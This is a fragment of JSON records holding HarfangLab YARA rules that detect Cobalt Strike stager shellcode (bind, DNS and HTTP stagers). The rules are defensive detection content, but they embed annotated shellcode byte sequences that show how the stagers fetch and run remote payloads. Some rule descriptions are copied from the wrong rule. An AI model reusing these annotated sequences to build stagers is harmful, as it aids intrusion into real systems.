+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.570998Z",
+  "creation_date": "2026-03-23T11:46:25.571000Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571005Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_shellcode_bind_2160fb19ffbe.yar",
+  "content": "rule cobalt_strike_shellcode_bind_2160fb19ffbe {\n    meta:\n        title = \"Cobalt Strike Shellcode bind (2160fb19ffbe)\"\n        id = \"0656419f-30d6-4a5c-b430-2160fb19ffbe\"\n        description = \"Detects the Cobalt Strike httpstager shellcode.\\nThis shellcode enables attackers to download and execute additional payloads over HTTP.\\nIt creates an HTTP connection to retrieve and execute a secondary payload.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2022-01-13\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.t1055.002\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $shellcode_load_librarya_ws2_32 = {\n            49 BE 77 73 32 5F 33 32 00 00 // movabs r14, 0x32335f327377    // \"ws2_32\\0\"\n            41 56                         // push r14                      // push\n            49 89 E6                      // mov r14, rsp\n            48 81 EC A0 01 00 00          // sub rsp, 0x1a0\n            49 89 E5                      // mov r13, rsp\n            49 BC 02 00 ?? ?? ?? ?? ?? ?? // movabs r12, 0xXXXXXXXXXXXX0002 // ip: XX.XX.XX.XX family AF_INET and port XXXX\n            41 54                         // push r12\n            49 89 E4                      // mov r12, rsp\n            4C 89 F1                      // mov rcx, r14\n            41 BA 4C 77 26 07             // mov r10d, 0x726774c            // \"LoadLibrary\"\n            FF D5                         // call rbp                       // LoadLibraryA(\"ws2_32\")\n            4C 89 EA                      // mov rdx, r13\n            68 01 01 00 00                // push 0x101                     // sizeof(struct WSAData)\n            59                            // pop rcx                        // allocated WSData ptr\n            41 BA 29 80 6B 00             // mov r10d, 0x6b8029             // \"WSAStartup\"\n            FF D5                         // call rbp                       // WSAStartup(0x0101, &WSAData);\n        }\n\n        $shellcode_ws2_32_socketa = {\n            50                // push rax             // 0\n            50                // push rax             // 0\n            4D 31 C9          // xor r9, r9           // 0\n            4D 31 C0          // xor r8, r8           // 0\n            48 FF C0          // inc rax\n            48 89 C2          // mov rdx, rax         // SOCK_STREAM\n            48 FF C0          // inc rax\n            48 89 C1          // mov rcx, rax         // AF_INET\n            41 BA EA 0F DF E0 // mov r10d, 0xe0df0fea // \"WSASocketA\"\n            FF D5             // call rbp             // WSASocketA(AF_INET, SOCK_STREAM, 0, 0, 0, 0);\n        }\n\n\n        $shellcode_ws2_32_bind = {\n            48 89 C7          // mov rdi, rax         // save socket\n            6A 10             // push 0x10            // push sizeof(struct sockaddr_in)\n            41 58             // pop r8               // pop sizeof(struct sockaddr_in)\n            4C 89 E2          // mov rdx, r12         // sockaddr_in pointer\n            48 89 F9          // mov rcx, rdi         // socket\n            41 BA C2 DB 37 67 // mov r10d, 0x6737dbc2 // \"bind\"\n            FF D5             // call rbp             // bind(s, &sockaddr_in, sizeof(struct sockaddr_in))\n        }\n\n        $shellcode_ws2_32_listen = {\n            48 31 D2          // xor  rdx, rdx         // backlog\n            48 89 F9          // mov  rcx, rdi         // socket\n            41 BA B7 E9 38 FF // mov  r10d, 0xFF38E9B7 // \"listen\"\n            FF D5             // call rbp              // listen(s, backlog)\n        }\n\n        $shellcode_ws2_32_accept = {\n            4D 31 C0          // xor r8, r8           // 0\n            48 31 D2          // xor rdx, rdx         // 0\n            48 89 F9          // mov rcx, rdi         // socket\n            41 BA 74 EC 3B E1 // mov r10d, 0xe13bec74 // \"accept\"\n            FF D5             // call rbp             // accept(s, 0, 0)\n        }\n\n        $shellcode_ws2_32_close = {\n            48 89 F9          // mov     rcx, rdi          // socket\n            41 BA 74 EC 3B E1 // mov     r10d, 0x0E13BEC74 // \"closesocket\"\n            FF D5             // call    rbp               // closesocket(s)\n        }\n\n    condition:\n        4 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_shellcode_bind_2160fb19ffbe"
+  ],
+  "rule_creation_date": "2022-01-13",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_shellcode_dnsstager_2128b78d18a2_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575714Z",
+  "creation_date": "2026-03-23T11:46:25.575716Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575722Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_shellcode_dnsstager_2128b78d18a2.yar",
+  "content": "rule cobalt_strike_shellcode_dnsstager_2128b78d18a2 {\n    meta:\n        title = \"Cobalt Strike Shellcode dnsstager (2128b78d18a2)\"\n        id = \"239277ee-dc18-445f-b677-2128b78d18a2\"\n        description = \"Detects the Cobalt Strike httpstager shellcode.\\nThis shellcode enables attackers to download and execute additional payloads over HTTP.\\nIt creates an HTTP connection to retrieve and execute a secondary payload.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2022-01-10\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.t1055.002\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $shellcode_load_library_dnsapi = {\n            89 C7          // mov edi, eax\n            50             // push eax\n            31 C0          // xor eax, eax\n            B0 70          // mov ah, 'p'\n            B4 69          // mov ah, 'i'\n            50             // push eax        // push \"pi\\0\"\n            68 64 6E 73 61 // push 0x61736e64 // \"dnsa\"\n            54             // push esp        // push a pointer to the \"dnsapi\\0\" string\n            68 4C 77 26 07 // push 0x726774c  // \"LoadLibrary\"\n            FF D5          // LoadLibraryA(\"dnsapi\")\n        }\n\n        $shellcode_alloc_space = {\n            5D             // pop ebp\n            31 C0          // xor eax, eax\n            6A 40          // push 0x40       // flProtect = PAGE_EXECUTE_READWRITE\n            B4 10          // mov ah, 0x10\n            68 00 10 00 00 // push 0x100\n            68 FF FF 07 00 // push 0x7ffff\n            6A 00          // push 0x0\n            68 58 A4 53 E5 // push 0xe553a458 // \"VirtualAlloc\"\n            FF D5          // call ebp        // VirtualAlloc(NULL, 0x7FFFF, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n        }\n\n        $shellcode_execute_dnsquerya = {\n            53             // push ebx\n            6A 00          // push 0x0        // pReserved\n            53             // push ebx        // ppQueryResultsSet\n            6A 00          // push 0x0        // pExtra\n            68 48 02 00 00 // push 0x248      // Options           // DNS_QUERY_RETURN_MESSAGE | DNS_QUERY_NO_HOSTS_FILE | DNS_QUERY_BYPASS_CACHE\n            6A 10          // push 0x10       // wType             // DNS_TYPE_TEXT\n            50             // push eax        // lpstrName\n            68 6A C9 9C C9 // push 0xc99cc96a // \"DnsQuery_A\"\n            FF D5          // call ebp        // DnsQuery_A(pszName, DNS_TYPE_TEXT, DNS_QUERY_RETURN_MESSAGE | DNS_QUERY_NO_HOSTS_FILE | DNS_QUERY_BYPASS_CACHE, ppQueryResultsSet, pReserved)\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_shellcode_dnsstager_2128b78d18a2"
+  ],
+  "rule_creation_date": "2022-01-10",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_shellcode_httpstager_a8f2c2f55681_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.570855Z",
+  "creation_date": "2026-03-23T11:46:25.570857Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.570863Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_shellcode_httpstager_a8f2c2f55681.yar",
+  "content": "rule cobalt_strike_shellcode_httpstager_a8f2c2f55681 {\n    meta:\n        title = \"Cobalt Strike Shellcode httpstager (a8f2c2f55681)\"\n        id = \"5429f953-3ee8-4fbf-8543-a8f2c2f55681\"\n        description = \"Detects the Cobalt Strike httpstager shellcode.\\nThis shellcode enables attackers to download and execute additional payloads over HTTP.\\nIt creates an HTTP connection to retrieve and execute a secondary payload.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2021-09-06\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.t1055.002\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $shellcode_load_library_internetopena = {\n            5D              // pop ebp         //\n            68 6E 65 74 00  // push 0x74656e   // \"net\\0\"\n            68 77 69 6E 69  // push 0x696e6977 // \"wini\"\n            54              // push esp        // push a pointer to the \"wininet\\0\" string\n            68 4C 77 26 07  // push 0x726774c  // \"LoadLibrary\"\n            FF D5           // call ebp        // LoadLibrary(\"wininet\")\n            [0-5]           // possible call for HTTPS/unoptimized version\n            31 FF           // xor edi, edi    // edi = 0\n            57              // push edi        // dwFlags = 0\n            57              // push edi        // lpszProxyBypass = 0\n            57              // push edi        // lpszProxy = 0\n            57              // push edi        // dwAccessType = 0\n            57              // push edi        // lpszAgent = NULL\n            68 3A 56 79 A7  // push 0xa779563a // \"InternetOpenA\"\n            FF D5           // call ebp        // InternetOpenA(0, 0, 0, 0, 0)\n        }\n\n        $shellcode_internetconnecta = {\n            5B              // pop ebx         // ebx = server name pointer\n            31 C9           // xor ecx, ecx    // ecx = 0\n            51              // push ecx        // dwContext = NULL\n            51              // push ecx        // dwFlags = 0\n            6A 03           // push 3          // dwService = INTERNET_SERVICE_HTTP\n            51              // push ecx        // lpszPassword = NULL\n            51              // push ecx        // lpszUserName = NULL\n            68 ?? ?? ?? ??  // push 0xXXXXXXXX // nServerPort (patched by the server)\n            53              // push ebx        // lpszServerName\n            50              // push eax        // hInternet\n            68 57 89 9F C6  // push 0xc69f8957 // \"InternetConnectA\"\n            FF D5           // call ebp        // InternetConnectA(hInternet, lpszServerName, nServerPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL)\n        }\n\n        $shellcode_httpopenrequesta = {\n            5B                // pop ebx         // ebx = object name ptr\n            31 D2             // xor edx, edx    // edx = 0\n            52                // push edx        // dwContext = NULL\n            68 ?? ?? ?? ??    // push 0xXXXXXXXX // dwFlags (patched by the server)\n            52                // push edx        // lplpszAcceptTypes = NULL\n            52                // push edx        // lpszReferrer = NULL\n            52                // push edx        // lpszVersion = NULL\n            53                // push ebx        // lpszObjectName (user url found in the middle of the payload)\n            52                // push edx        // lpszVerb = NULL\n            50                // push eax        // hConnect\n            68 EB 55 2E 3B    // push 0x3b2e55eb // \"HttpOpenRequestA\"\n            FF D5             // call ebp        // HttpOpenRequestA(hConnect, NULL, lpszObjectName, NULL, NULL, NULL, dwFlags, NULL)\n            89 C6             // mov esi, eax\n            83 C3 50          // add ebx, 0x50   // Move ebx to the position of the user agent header.\n            31 FF             // xor edi, edi    // edi = 0\n            57                // push edi        // dwOptionalLength = 0\n            57                // push edi        // lpOptional = NULL\n            6A FF             // push -1         // dwHeadersLength = -1\n            53                // push ebx        // lpszHeaders\n            56                // push esi        // hRequest\n            68 2D 06 18 7B    // push 0x7b18062d // \"HttpSendRequestA\"\n            FF D5             // call ebp        // HttpSendRequestA(hRequest, lpszHeaders, -1, NULL, 0)\n        }\n\n        $shellcode_httpopenrequesta_https = {\n            5B                // pop ebx         // ebx = object name ptr\n            31 D2             // xor edx, edx    // edx = 0\n            52                // push edx        // dwContext = NULL\n            68 ?? ?? ?? ??    // push 0xXXXXXXXX // dwFlags (patched by the server)\n            52                // push edx        // lplpszAcceptTypes = NULL\n            52                // push edx        // lpszReferrer = NULL\n            52                // push edx        // lpszVersion = NULL\n            53                // push ebx        // lpszObjectName (user url found in the middle of the payload)\n            52                // push edx        // lpszVerb = NULL\n            50                // push eax        // hConnect\n            68 EB 55 2E 3B    // push 0x3b2e55eb // \"HttpOpenRequestA\"\n            FF D5             // call ebp        // HttpOpenRequestA(hConnect, NULL, lpszObjectName, NULL, NULL, NULL, dwFlags, NULL)\n            89 C6             // mov esi, eax\n            83 C3 50          // add ebx, 0x50   // Move ebx to the position of the user agent header.\n            68 80 33 00 00    // push 0x3380     //\n            89 E0             // mov eax, esp    //\n            6A 04             // push 4          // dwBufferLength = 4\n            50                // push eax        // lpBuffer\n            6A 1F             // push 0x1f       // dwOption = INTERNET_OPTION_SECURITY_FLAGS\n            56                // push esi        // hInternet\n            68 75 46 9E 86    // push 0x869E4675 // \"InternetSetOptionA\"\n            FF D5             // call ebp        // InternetSetOptionA(hInternet, INTERNET_OPTION_SECURITY_FLAGS, lpBuffer, 4)\n            5F                // pop edi         //\n            31 FF             // xor edi, edi    // edi = 0\n            57                // push edi        // dwOptionalLength = 0\n            57                // push edi        // lpOptional = NULL\n            6A FF             // push -1         // dwHeadersLength = -1\n            53                // push ebx        // lpszHeaders\n            56                // push esi        // hRequest\n            68 2D 06 18 7B    // push 0x7b18062d // \"HttpSendRequestA\"\n            FF D5             // call ebp        // HttpSendRequestA(hRequest, lpszHeaders, -1, NULL, 0)\n        }\n\n        $shellcode_receive_payload = {\n            6A 40          // push 0x40       // flProtect = PAGE_EXECUTE_READWRITE\n            68 00 10 00 00 // push 0x1000     // flAllocationType = MEM_COMMIT\n            68 00 00 40 00 // push 0x400000   // dwLength = 0x400000\n            57             // push edi        // lpAddress = NULL\n            68 58 A4 53 E5 // push 0xe553a458 // \"VirtualAlloc\"\n            FF D5          // call ebp        // VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n            93             // xchg eax, ebx\n\n            B9 ?? ?? ?? ?? // mov ecx, 0xXXXXXXXX // skip offset (patched by the server)\n            01 D9          // add ecx, ebx        // ecx = allocated_ptr + skip_offset\n            51             // push ecx            // push the address with offset\n            53             // push ebx            // push the base address\n            89 E7          // mov edi, esp\n\n                           // continue_transfer:\n            57             // push edi                 // lpdwNumberOfBytesRead\n            68 00 20 00 00 // push 0x2000              // dwNumberOfBytesToRead = 0x2000\n            53             // push ebx                 // lpBuffer\n            56             // push esi                 // hRequest\n            68 12 96 89 E2 // push 0xe2899612          // \"InternetReadFile\"\n            FF D5          // call ebp                 // InternetReadFile(hRequest, lpBuffer, 0x2000, lpdwNumberOfBytesRead)\n            85 C0          // test eax, eax            // result_code == SUCCESS\n            74 ??          // je exit_thunk            // call exit on error\n            8B 07          // mov eax, dword ptr [edi] // eax = lpdwNumberOfBytesRead\n            01 C3          // add ebx, eax             // buffer += lpdwNumberOfBytesRead\n            85 C0          // test eax, eax            // lpdwNumberOfBytesRead == 0\n            75 E5          // jne continue_transfer    // continue the transfer if there is still data to read.\n            58             // pop eax                  // eax = end_of_payload_addr\n            C3             // ret                      // Return ready to jump now!\n        }\n    condition:\n        4 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_shellcode_httpstager_a8f2c2f55681"
+  ],
+  "rule_creation_date": "2021-09-06",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_shellcode_httpstager_c0807cea091c_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567226Z",
+  "creation_date": "2026-03-23T11:46:25.567228Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567234Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_shellcode_httpstager_c0807cea091c.yar",
+  "content": "rule cobalt_strike_shellcode_httpstager_c0807cea091c {\n    meta:\n        title = \"Cobalt Strike Shellcode httpstager (c0807cea091c)\"\n        id = \"c79112ba-b266-4108-8e79-c0807cea091c\"\n        description = \"Detects the Cobalt Strike httpstager shellcode.\\nThis shellcode enables attackers to download and execute additional payloads over HTTP.\\nIt creates an HTTP connection to retrieve and execute a secondary payload.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2021-09-07\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.t1055.002\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $shellcode_load_library_internetopena = {\n            5D                            // pop rbp\n            6A 00                         // push 0\n            49 BE 77 69 6E 69 6E 65 74 00 // movabs r14, 0x74656e696e6977 // \"wininet\\0\"\n            41 56                         // push r14                     // push a pointer to the \"wininet\\0\" string\n            49 89 E6                      // mov r14, rsp                 // r14 = pointer to \"wininet\\0\"\n            4C 89 F1                      // mov rcx, r14                 // first argument (pointer to \"wininet\\0\")\n            41 BA 4C 77 26 07             // mov r10d, 0x726774c          // \"LoadLibrary\"\n            FF D5                         // call rbp                     // LoadLibrary(\"wininet\")\n            48 31 C9                      // xor rcx, rcx                 // lpszAgent = NULL\n            48 31 D2                      // xor rdx, rdx                 // dwAccessType = 0\n            4D 31 C0                      // xor r8, r8                   // lpszProxy = 0\n            4D 31 C9                      // xor r9, r9                   // lpszProxyBypass = 0\n            41 50                         // push r8                      // dwFlags = 0\n            41 50                         // push r8                      // Mistake by HelpSystems? This is not used...\n            41 BA 3A 56 79 A7             // mov r10d, 0xa779563a         // \"InternetOpenA\"\n            FF D5                         // call rbp                     // InternetOpenA(0, 0, 0, 0, 0)\n        }\n\n        $shellcode_internetconnecta = {\n            5A                            // pop rdx                       // rdx = server name pointer\n            48 89 C1                      // mov rcx, rax                  // hInternet\n            41 B8 ?? ?? ?? ??             // mov r8d, 0xXXXXXXXX           // nServerPort (patched by the server)\n            4D 31 C9                      // xor r9, r9                    // lpszUserName = NULL\n            41 51                         // push r9                       // dwContext = NULL\n            41 51                         // push r9                       // dwFlags = 0\n            6A 03                         // push 3                        // dwService = INTERNET_SERVICE_HTTP\n            41 51                         // push r9                       // lpszPassword = NULL\n            41 BA 57 89 9F C6             // mov r10d, 0xc69f8957          // \"InternetConnectA\"\n            FF D5                         // call rbp                      // InternetConnectA(hInternet, lpszServerName, nServerPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL)\n        }\n\n        $shellcode_httpopenrequesta = {\n            5B                            // pop rbx                 // rbx = object name ptr\n            48 89 C1                      // mov rcx, rax            // hConnect\n            48 31 D2                      // xor rdx, rdx            // lpszVerb = NULL\n            49 89 D8                      // mov r8, rbx             // lpszObjectName = NULL\n            4D 31 C9                      // xor r9, r9              // lpszVersion = NULL\n            52                            // push rdx                // dwContext = NULL\n            68 ?? ?? ?? ??                // push 0xXXXXXXXXXXXXXXXX // dwFlags (patched by the server)\n            52                            // push rdx                // lplpszAcceptTypes = NULL\n            52                            // push rdx                // lpszReferrer = NULL\n            41 BA EB 55 2E 3B             // mov r10d, 0x3b2e55eb    // \"HttpOpenRequestA\"\n            FF D5                         // call rbp                // HttpOpenRequestA(hConnect, NULL, lpszObjectName, NULL, NULL, NULL, dwFlags, NULL)\n            48 89 C6                      // mov rsi, rax\n            48 83 C3 50                   // add rbx, 0x50           // Move rsi to the position of the user agent header.\n            6A 0A                         // push 0xa                //\n            5F                            // pop rdi                 //\n            48 89 F1                      // mov rcx, rsi            // hRequest\n            48 89 DA                      // mov rdx, rbx            // lpszHeaders\n            49 C7 C0 FF FF FF FF          // mov r8, -1              // dwHeadersLength = -1\n            4D 31 C9                      // xor r9, r9              // lpOptional = NULL\n            52                            // push rdx                // dwOptionalLength =  0\n            52                            // push rdx                // Mistake by HelpSystems? This is not used...\n            41 BA 2D 06 18 7B             // mov r10d, 0x7b18062d    // \"HttpSendRequestA\"\n            FF D5                         // call rbp                // HttpSendRequestA(hRequest, lpszHeaders, -1, NULL, 0)\n        }\n\n        $shellcode_httpopenrequesta_https = {\n            5B                            // pop rbx                 // rbx = object name ptr\n            48 89 C1                      // mov rcx, rax            // hConnect\n            48 31 D2                      // xor rdx, rdx            // lpszVerb = NULL\n            49 89 D8                      // mov r8, rbx             // lpszObjectName = NULL\n            4D 31 C9                      // xor r9, r9              // lpszVersion = NULL\n            52                            // push rdx                // dwContext = NULL\n            68 ?? ?? ?? ??                // push 0xXXXXXXXXXXXXXXXX // dwFlags (patched by the server)\n            52                            // push rdx                // lplpszAcceptTypes = NULL\n            52                            // push rdx                // lpszReferrer = NULL\n            41 BA EB 55 2E 3B             // mov r10d, 0x3b2e55eb    // \"HttpOpenRequestA\"\n            FF D5                         // call rbp                // HttpOpenRequestA(hConnect, NULL, lpszObjectName, NULL, NULL, NULL, dwFlags, NULL)\n            48 89 C6                      // mov rsi, rax\n            48 83 C3 50                   // add rbx, 0x50           // Move rsi to the position of the user agent header.\n            6A 0A                         // push 0xa                //\n            5F                            // pop rdi                 //\n\n            48 89 F1                      // mov rcx, rsi            // hInternet\n            BA 1F 00 00 00                // mov edx, 0x1f           // dwOption = INTERNET_OPTION_SECURITY_FLAGS\n            6A 00                         // push 0\n            68 80 33 00 00                // push 0x3380\n            49 89 E0                      // mov r8, rsp             // lpBuffer\n            41 B9 04 00 00 00             // mov r9d, 4              // dwBufferLength = 4\n            41 BA 75 46 9E 86             // mov r10d, 0x869e4675    // \"InternetSetOptionA\"\n            FF D5                         // call rbp                // InternetSetOptionA(hInternet, INTERNET_OPTION_SECURITY_FLAGS, lpBuffer, 4)\n\n            48 89 F1                      // mov rcx, rsi            // hRequest\n            48 89 DA                      // mov rdx, rbx            // lpszHeaders\n            49 C7 C0 FF FF FF FF          // mov r8, -1              // dwHeadersLength = -1\n            4D 31 C9                      // xor r9, r9              // lpOptional = NULL\n            52                            // push rdx                // dwOptionalLength =  0\n            52                            // push rdx                // Mistake by HelpSystems? This is not used...\n            41 BA 2D 06 18 7B             // mov r10d, 0x7b18062d    // \"HttpSendRequestA\"\n            FF D5                         // call rbp                // HttpSendRequestA(hRequest, lpszHeaders, -1, NULL, 0)\n        }\n\n        $shellcode_receive_payload = {\n            48 31 C9                     // xor rcx, rcx         // lpAddress = NULL\n            BA 00 00 40 00               // mov edx, 0x400000    // dwLength = 0x400000\n            41 B8 00 10 00 00            // mov r8d, 0x1000      // flAllocationType = MEM_COMMIT\n            41 B9 40 00 00 00            // mov r9d, 0x40        // flProtect = PAGE_EXECUTE_READWRITE\n            41 BA 58 A4 53 E5            // mov r10d, 0xe553a458 // \"VirtualAlloc\"\n            FF D5                        // call rdp             // VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE)\n            48 93                        // xchg rax, rbx\n\n            53                           // push rbx\n            53                           // push rbx\n\n                                         // continue_transfer:\n            48 89 E7                     // mov rdi, rsp\n            48 89 F1                     // mov rcx, rsi           // hRequest\n            48 89 DA                     // mov rdx, rbx           // lpBuffer\n            41 B8 00 20 00 00            // mov r8d, 0x2000        // dwNumberOfBytesToRead = 0x2000\n            49 89 F9                     // mov r9, rdi            // lpdwNumberOfBytesRead\n            41 BA 12 96 89 E2            // mov r10d, 0xe2899612   // \"InternetReadFile\"\n            FF D5                        // call rdp               // InternetReadFile(hRequest, lpBuffer, 0x2000, lpdwNumberOfBytesRead)\n            48 83 C4 20                  // add rsp, 0x20\n            85 C0                        // test eax, eax          // result_code == SUCCESS\n            74 ??                        // je exit_thunk          // call exit on error\n            66 8B 07                     // mov ax, word ptr [rdi] // ax = lpdwNumberOfBytesRead\n            48 01 C3                     // add rbx, rax           // buffer += lpdwNumberOfBytesRead\n            85 C0                        // test eax, eax          // lpdwNumberOfBytesRead == 0\n            75 D7                        // jne continue_transfer  // continue the transfer if there is still data to read.\n            58                           // pop rax\n            58                           // pop rax\n            58                           // pop rax\n            48 05 ?? ?? ?? ??            // add rax, 0xXXXXXXXX    // skip offset (patched by the server)\n            50                           // push rax\n            C3                           // ret\n\n        }\n    condition:\n        4 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_shellcode_httpstager_c0807cea091c"
+  ],
+  "rule_creation_date": "2021-09-07",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
